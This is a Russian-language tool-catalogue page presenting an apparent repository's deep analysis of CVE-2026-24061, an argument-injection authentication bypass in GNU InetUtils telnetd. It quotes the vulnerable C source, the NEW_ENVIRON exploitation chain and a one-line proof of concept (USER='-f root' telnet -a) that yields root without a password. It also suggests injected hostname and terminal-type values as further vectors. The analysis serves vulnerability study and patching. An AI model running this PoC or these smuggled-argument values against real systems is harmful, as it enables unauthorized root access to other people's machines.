Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-24061 — Глубокая техническая аналитика и сканер для CVE-2026-24061 — критического обхода аутентификации в GNU InetUtils telnetd, включая цепочку эксплуатации, PoC и детали патча. | Kitploit
Инструменты/GitHubGitHub/buzz075/cve-2026-24061
Анализ уязвимостейЭксплуатацияСетевая безопасностьТестирование на ПроникновениеАутентификация
GitHubbuzz075/cve-2026-24061

CVE-2026-24061

Глубокая техническая аналитика и сканер для CVE-2026-24061 — критического обхода аутентификации в GNU InetUtils telnetd, включая цепочку эксплуатации, PoC и детали патча.

Репозиторий
198 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-24061: Обход аутентификации в GNU InetUtils telnetd — углублённый анализ

Краткое резюме

CVE-2026-24061 — это критическая (CVSS 9.8) уязвимость удалённого обхода аутентификации в GNU InetUtils telnetd, которая позволяет неаутентифицированным злоумышленникам мгновенно получить root-доступ. Уязвимость возникает из-за некорректной санитизации переменной окружения USER, которая передаётся напрямую в /usr/bin/login в качестве аргумента командной строки. Установив USER=-f root, злоумышленник активирует флаг -f в login, который полностью обходит аутентификацию.

Затронутые версии: GNU InetUtils 1.9.3 — 2.7 Тип уязвимости: CWE-88 (внедрение аргументов) Дата обнаружения: 20 января 2026 года Обнаружил: Kyu Neushwaistein (также известен как Carlos Cortes Alvarez)


Часть 1: Детальный технический анализ

Поток выполнения уязвимого кода

1. Шаблон вызова login (telnetd/telnetd.c, строки ~49-63)

Уязвимость начинается с шаблонной строки команды, которая определяет, как telnetd вызывает /usr/bin/login:

/* Template command line for invoking login program. */
char *login_invocation =
#ifdef SOLARIS10
  PATH_LOGIN " -p -h %h %?T{-t %T} -d %L %?u{-u %u}{%U}"
#elif defined SOLARIS
  PATH_LOGIN " -h %h %?T{%T} %?u{-- %u}{%U}"
#else /* !SOLARIS */
  PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
#endif
;

Ключевое наблюдение: На системах, отличных от Solaris, шаблон использует:

  • %?u{-f %u}{%U} — это условное выражение, означающее:
    • Если user_name задан (%u), используется -f %u (аутентифицированный автоматический вход)
    • В противном случае используется %U (переменная окружения USER как запасной вариант)

Критическая проблема: %U раскрывается в сырую, несанитизированную переменную окружения USER.

2. Функция раскрытия переменных (telnetd/utility.c, _var_short_name())

Шаблонная строка обрабатывается функцией expand_line(), которая вызывает _var_short_name() для раскрытия плейсхолдеров. Вот уязвимый код:

/* Expand a variable referenced by its short one-symbol name. */
char *
_var_short_name (struct line_expander *exp)
{
  char *q;
  char timebuf[64];
  time_t t;

  switch (*exp->cp++)
    {
    case 'a':
#ifdef AUTHENTICATION
      if (auth_level >= 0 && autologin == AUTH_VALID)
        return xstrdup ("ok");
#endif
      return NULL;

    case 'd':
      time (&t);
      strftime (timebuf, sizeof (timebuf),
                "%l:%M%p on %A, %d %B %Y", localtime (&t));
      return xstrdup (timebuf);

    case 'h':
      return xstrdup (remote_hostname);  // POTENTIALLY VULNERABLE

    case 'l':
      return xstrdup (local_hostname);

    case 'L':
      return xstrdup (line);

    case 't':
      q = strchr (line + 1, '/');
      if (q)
        q++;
      else
        q = line;
      return xstrdup (q);

    case 'T':
      return terminaltype ? xstrdup (terminaltype) : NULL;  // POTENTIALLY VULNERABLE

    case 'u':
      return user_name ? xstrdup (user_name) : NULL;

    case 'U':
      return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");  // VULNERABLE!

    default:
      exp->state = EXP_STATE_ERROR;
      return NULL;
    }
}

Критическая ошибка (case 'U'): Переменная окружения USER извлекается через getenv() и передаётся без какой-либо санитизации. Когда злоумышленник устанавливает USER=-f root, это становится частью командной строки login.

3. Функция запуска login (telnetd/pty.c, start_login())

Раскрытая строка вызова login выполняется в start_login():

/* Construct login command from template */
argcv_string (argcv_length (argv, NULL), argv, &login_cmd);
  
/* Execute login - this runs: /usr/bin/login -p -h <hostname> -f root */
execv (argv[0], argv);

Цепочка эксплуатации

  1. Злоумышленник подключается к telnetd (порт 23)

  2. Происходит согласование опций Telnet:

    • Сервер отправляет IAC DO NEW_ENVIRON
    • Клиент отвечает IAC WILL NEW_ENVIRON
    • Сервер отправляет IAC SB NEW_ENVIRON SEND (запрос окружения)
    • Злоумышленник отправляет: IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SE
  3. Сервер обрабатывает переменную USER:

    • getenv("USER") возвращает -f root
    • Шаблон %U раскрывается в -f root
    • Итоговая команда: /usr/bin/login -p -h <hostname> -f root
  4. Login интерпретирует -f root:

    • Флаг -f означает «пропустить аутентификацию, пользователь уже аутентифицирован»
    • root — имя пользователя для входа
    • Результат: Мгновенная root-оболочка без запроса пароля!

Подтверждение концепции

# On attacker machine:
USER='-f root' telnet -a <target_ip>

Флаг -a включает режим автоматического входа, который отправляет переменную окружения USER на сервер.


Часть 2: Анализ других потенциально уязвимых переменных

В охранном бюллетене явно указано: «Таким образом, существует потенциал аналогичных уязвимостей для других переменных». Проанализируем каждую переменную в _var_short_name():

Таблица анализа переменных

VarИмяИсточникКонтролируется пользователем?Санитизирована?Поверхность атаки
%UПеременная окружения USERgetenv("USER")ДА (через NEW_ENVIRON)НЕТКРИТИЧЕСКАЯ — CVE-2026-24061
%hremote_hostnameDNS/PTR-запросЧастично (PTR-запись)НЕТВЫСОКАЯ
%TterminaltypeОпция TERMINAL-TYPEДАНЕТСРЕДНЯЯ
%uuser_nameСогласование протоколаДАНЕТСРЕДНЯЯ (требуется аутентификация)
%llocal_hostnameКонфигурация системыНЕТН/ДНИЗКАЯ
%Lline (TTY)Выделяется системойНЕТН/ДНИЗКАЯ
%tКороткое имя TTYВыделяется системойНЕТН/ДНИЗКАЯ
%dДата/времяСистемные часыНЕТН/ДОТСУТСТВУЕТ
%aСтатус аутентификацииВнутреннее состояниеНЕТН/ДОТСУТСТВУЕТ

Детальный анализ потенциально уязвимых переменных

1. %h — Удалённое имя хоста (ВЫСОКИЙ РИСК)

Источник: Заполняется в telnetd_setup() из telnetd.c через getnameinfo() или gethostbyaddr().

Проблема: Если злоумышленник контролирует свою PTR-запись (обратный DNS), он потенциально может внедрить:

foo -f root

в качестве своего имени хоста, которое станет частью аргумента -h:

/usr/bin/login -p -h "foo -f root" ...

Сложность эксплуатации:

  • Требуется контроль над обратным DNS
  • Некоторые реализации login могут экранировать или проверять имя хоста
  • Сложнее, чем внедрение через USER

Реальный сценарий: Злоумышленник с контролем над PTR-записью своего IP-адреса (обычно доступно у VPS-провайдеров) может установить обратный DNS на вредоносное значение.

2. %T — Тип терминала (СРЕДНИЙ РИСК)

Источник: Получается через субсогласование TERMINAL-TYPE в Telnet, сохраняется в переменной terminaltype.

Проблема: Строка типа терминала контролируется злоумышленником и не санитизируется:

case 'T':
  return terminaltype ? xstrdup (terminaltype) : NULL;

Использование в шаблонах:

  • SOLARIS10: %?T{-t %T} — используется с флагом -t
  • SOLARIS: %?T{%T} — вставляется напрямую

Потенциальная атака:

TERMINAL-TYPE: xterm -f root

Однако эксплуатация зависит от:

  • Использования %T в шаблоне (в настоящее время только Solaris)
  • Того, как login обрабатывает аргумент -t

3. %u — Аутентифицированное имя пользователя (СРЕДНИЙ РИСК)

Источник: Устанавливается во время согласования аутентификации.

Проблема: Используется в шаблоне -f %u:

PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"

Если злоумышленник сможет манипулировать user_name, включив в него метасимволы оболочки или дополнительные аргументы, он может добиться повышения привилегий. Однако эта переменная обычно устанавливается только после некоторой проверки аутентификации.

Почему другие переменные менее рискованны

Скачать инструмент